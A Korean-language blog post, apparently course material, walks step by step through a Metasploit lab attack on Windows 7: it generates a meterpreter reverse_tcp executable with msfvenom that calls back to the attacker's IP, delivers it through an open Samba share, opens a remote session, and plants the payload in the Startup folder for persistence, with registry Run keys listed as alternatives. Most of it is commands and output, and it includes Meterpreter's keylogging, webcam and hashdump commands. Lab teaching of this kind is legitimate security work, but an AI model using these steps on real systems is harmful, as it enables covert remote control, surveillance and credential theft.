모의 해킹/Metasploit 2016.06.03 15:08

Metasploit - 09. 취약점 발견 및 공격 (Reverse TCP 공격)

 

 

별건 아니지만, 본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.

 

 

[실습 시스템] Kali Linux, Firewall, Window7

 

 

 - 메타스플로잇 자체적으로도 할수 있는 테스트이지만, Exploit 공격 코드를 직접 제작하여 테스트한다.

 - 또한, 백도어를 생성하고, 공격 코드(악성 코드)를 유입시켜 타겟 시스템이 공격자에게 연결되도록 테스트한다.

 

 

[실습 단계]

 

스캔 -> 공격 타겟 선정 -> 백도어 구성 -> 공격 코드 파일 생성 -> 공격 타겟에 공격 코드 파일 유입 실시

 

-> 백도어 실행 -> 공격 코드 파일 실행 -> 제어권 획득

 

 

 

Ex1) Samba 서비스 구성

 

@ Kali Linux

 

 - 차후 Window7에서 악성 코드 파일을 복사하기 위해서 Samba 서비스를 구성한다.

 

root@kali:~# mkdir -p /share
root@kali:~# chmod 777 /share
root@kali:~# vi /etc/samba/smb.conf

 

 ~ 중간 생략 ~

 

[share]
        comment = Test Shared Directory
        path = /share
        browseable = yes
        read only = no
        writable = yes
        public = yes

: wq!

 

 

 - Samba 서비스 재시작 및 공유 상태 확인

 

root@kali:~# service smbd restart


root@kali:~# smbclient -L localhost -N
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 4.1.17-Debian]

 Sharename       Type      Comment
 ---------       ----      -------
 print$          Disk      Printer Drivers
 share           Disk      Test Shared Directory
 IPC$            IPC       IPC Service (Samba 4.1.17-Debian)
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 4.1.17-Debian]

 Server               Comment
 ---------            -------

 Workgroup            Master
 ---------            -------

 

 

 

 

Ex2) 백도어 생성

 

 - msfconsole로 실행할 백도어를 생성한다.

 

@ Kali Linux

 

root@kali:~# mkdir -p /root/bin
root@kali:~# cd /root/bin
root@kali:~/bin# vi reverse_resource.rc

 

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.20.50
set ExitSession false
exploit -j -z

 

: wq!

 

 

 

 

Ex3) Payload를 사용하여 공격 코드 생성

 

 - Window7에 유입시킬 'reverse.exe' 공격 코드 파일을 생성한다.

 

@ Kali Linux

 

root@kali:~/bin# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.20.50 LPORT=4444 -f exe -o reverse.exe


No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86_64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Saved as: reverse.exe


root@kali:~/bin# ls re*
reverse.exe  reverse_resource.rc

 

 

 

 

Ex4) 'reverse.exe' 공격 코드 파일 유입

 

 - 테스트 환경에서는 Window7에서 Kali Linux으로부터 'reverse.exe' 파일을 공유받도록 한다.

 

@ Kali Linux

 

root@kali:~/bin# cp reverse.exe /share


root@kali:~/bin# ls /share
reverse.exe

 

 

 - Window7에서 'reverse.exe' 파일을 다운로드하도록 한다.

 

@ Window7

 

 

실행(윈도우 키 + R) -> \\192.168.20.50

 

 

 

 

'share' 디렉토리 클릭

 

 

 

 

'reverse.exe' 파일 바탕 화면에 복사 실시

 

 

 

'reverse.exe' 파일 복사 완료

 

 

 

 

 

Ex5) 백도어 'reverse_resource.rc' 실행

 

@ Kali Linux

 

root@kali:~/bin# msfconsole -r reverse_resource.rc
                                                 
 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


Save 45% of your time on large engagements with Metasploit Pro
Learn more on http://rapid7.com/metasploit

 

       =[ metasploit v4.11.5-2016010401                   ]
+ -- --=[ 1517 exploits - 875 auxiliary - 257 post        ]
+ -- --=[ 437 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

 

[*] Processing reverse_resource.rc for ERB directives.
resource (reverse_resource.rc)> use exploit/multi/handler
resource (reverse_resource.rc)> set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
resource (reverse_resource.rc)> set LHOST 192.168.20.50
LHOST => 192.168.20.50
resource (reverse_resource.rc)> set ExitSession false
ExitSession => false
resource (reverse_resource.rc)> exploit -j -z
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.20.50:4444 
[*] Starting the payload handler...

msf exploit(handler) >

 

 

 

Ex6) 'reverse.exe' 공격 코드 파일 실행

 

@ Window7

 

 

 

 

 

 

Ex7) 백도어 'reverse_resource.rc' 상태 확인

 

 - Window7이 Kali Linux에 연결되었는지 확인한다.

 

@ Kali Linux

 

msf exploit(handler) >
[*] Sending stage (1188911 bytes) to 192.168.20.202
[*] Meterpreter session 1 opened (192.168.20.50:4444 -> 192.168.20.202:49190) at 2016-06-03 16:30:56 +0900


msf exploit(handler) > sessions -i

Active sessions
===============

  Id  Type                   Information          Connection
  --  ----                   -----------          ----------
  1   meterpreter x64/win64  WIN7\soldesk @ WIN7  192.168.20.50:4444 -> 192.168.20.202:49190 (192.168.20.202)

 

 

 - Window7 제어권 획득 실시

 

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

 

meterpreter >

meterpreter > sysinfo
Computer        : WIN7
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : ko_KR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/win64

 

meterpreter > ipconfig

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 11
============
Name         : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:ac:07:68
MTU          : 1500
IPv4 Address : 192.168.20.202
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::813f:bb18:8a6:9cfe
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface 12
============
Name         : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::5efe:c0a8:14ca
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

 

 

meterpreter > getuid
Server username: WIN7\root


meterpreter > pwd
C:\Users\soldesk\Desktop


meterpreter > lpwd
/root/bin


meterpreter > ls
Listing: C:\Users\soldesk\Desktop
=================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
40777/rwxrwxrwx   0     dir   2016-05-30 16:08:29 +0900  Security
100666/rw-rw-rw-  282   fil   2015-12-11 17:45:11 +0900  desktop.ini
100777/rwxrwxrwx  7168  fil   2016-06-03 16:13:33 +0900  reverse.exe


meterpreter > download -r desktop.ini /root/bin
[*] downloading: desktop.ini -> /root/bin/desktop.ini
[*] skipped    : desktop.ini -> /root/bin/desktop.ini

 

meterpreter > pwd
C:\Users\soldesk\Desktop

 

meterpreter > cd ..
meterpreter > pwd
C:\Users\soldesk

 


meterpreter > cd AppData
meterpreter > cd Roaming
meterpreter > cd Microsoft
meterpreter > pwd
C:\Users\soldesk\AppData\Roaming\Microsoft


meterpreter > cd Windows

meterpreter > cd "Start Menu"
meterpreter > cd Programs
meterpreter > pwd
C:\Users\soldesk\AppData\Roaming\Microsoft\Windows\Start Menu\Programs

 

meterpreter > cd Startup
meterpreter > pwd
C:\Users\soldesk\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup


meterpreter > upload reverse.exe
[*] uploading  : reverse.exe -> reverse.exe
[*] uploaded   : reverse.exe -> reverse.exe

 

meterpreter >
meterpreter > reboot
Rebooting...
meterpreter >
[*] 192.168.20.202 - Meterpreter session 1 closed.  Reason: Died

msf exploit(handler) > quit
root@kali:~/bin#

 

 

 

 

Ex9) 백도어 'reverse_resource.rc' 실행

 

@ Kali Linux

 

root@kali:~/bin# msfconsole -r reverse_resource.rc
~ 중간 생략 ~

 

[*] Started reverse TCP handler on 192.168.20.50:4444
[*] Starting the payload handler...

 

 

 

 

Ex8) Window7 확인

 

 재부팅 진행중


 

 

윈도우 시작 -> 모든 프로그램 -> 시작프로그램 -> 'reverse' 확인

 

 

 

 

 

 

Ex9) 백도어 'reverse_resource.rc' 상태 확인

 

 - Window7 사용자가 로그인하면, 자동으로 'reverse.exe' 파일이 실행되므로 자동으로 Kali Linux에 연결된다.

 

@ Kali Linux

 

msf exploit(handler) >

[*] Sending stage (1188911 bytes) to 192.168.20.202
[*] Meterpreter session 1 opened (192.168.20.50:4444 -> 192.168.20.202:49179) at 2016-06-03 16:55:25 +0900

 

msf exploit(handler) > sessions -i

Active sessions
===============

  Id  Type                   Information          Connection
  --  ----                   -----------          ----------
  1   meterpreter x64/win64  WIN7\soldesk @ WIN7  192.168.20.50:4444 -> 192.168.20.202:49179 (192.168.20.202)


msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

 

meterpreter > sysinfo
Computer        : WIN7
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : ko_KR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/win64


 

 

[참고] 메터프리터(Meterpreter) 도움말

 

- 공격 타겟에 대한 취약점이 발견되었다면, 메터프리터를 이용하여 타겟 시스템을 침투하여 명령어를 이용할 수 있다.

- 메터프리터는 다양항 명령어가 제공되며, 'help' 명령어를 이용하여 확인할 수 있다.

 

meterpreter > help

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    help                      Help menu
    info                      Displays information about a Post module
    irb                       Drop into irb scripting mode
    load                      Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    migrate                   Migrate the server to another process
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    set_timeouts              Set the current session timeout values
    sleep                     Force Meterpreter to go quiet, then re-establish session.
    transport                 Change the current transport mechanism
    use                       Deprecated alias for 'load'
    uuid                      Get the UUID for the current session
    write                     Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    show_mount    List all mount points/logical drives
    upload        Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    arp           Display the host ARP cache
    getproxy      Display the current proxy configuration
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service
    route         View and modify the routing table


Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getsid        Get the SID of the user that the server is running as
    getuid        Get the user that the server is running as
    kill          Terminate a process
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS


Stdapi: User interface Commands
===============================

    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components


Stdapi: Webcam Commands
=======================

    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam


Priv: Elevate Commands
======================

    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.


Priv: Password database Commands
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database


Priv: Timestomp Commands
========================

    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes

 

meterpreter > quit
[*] Shutting down Meterpreter...

 

[*] 192.168.20.202 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(handler) >
msf exploit(handler) > quit
root@kali:~/bin# cd
root@kali:~#

 

 

 

[참고] Window 공격 코드 파일 유입 경로

 

1. 시작 프로그램의 폴더 위치
 
C:\Users\soldesk\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

 

 

 

2.  재부팅 시에 실행할 프로그램은 다음 중 하나의 레지스터에 등록 실시

 

 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Winodws\Current Version\Run


 HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Current Version\Run


 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current Version\RunOnce


 HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Current Version\RunOnce

 

 


3. 사용자 로그인시 실행할 프로그램은 다음 경로에 등록 실시

 

 (Windows XP)

 C:\Documents and Settings\vb_test\시작 메뉴\프로그램\시작프로그램


 (Windows Vista 이후)

 C:\<사용자명>\<사용자명>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Posted by 교육 문의 : 010-9902-9710(김정우 강사)


Q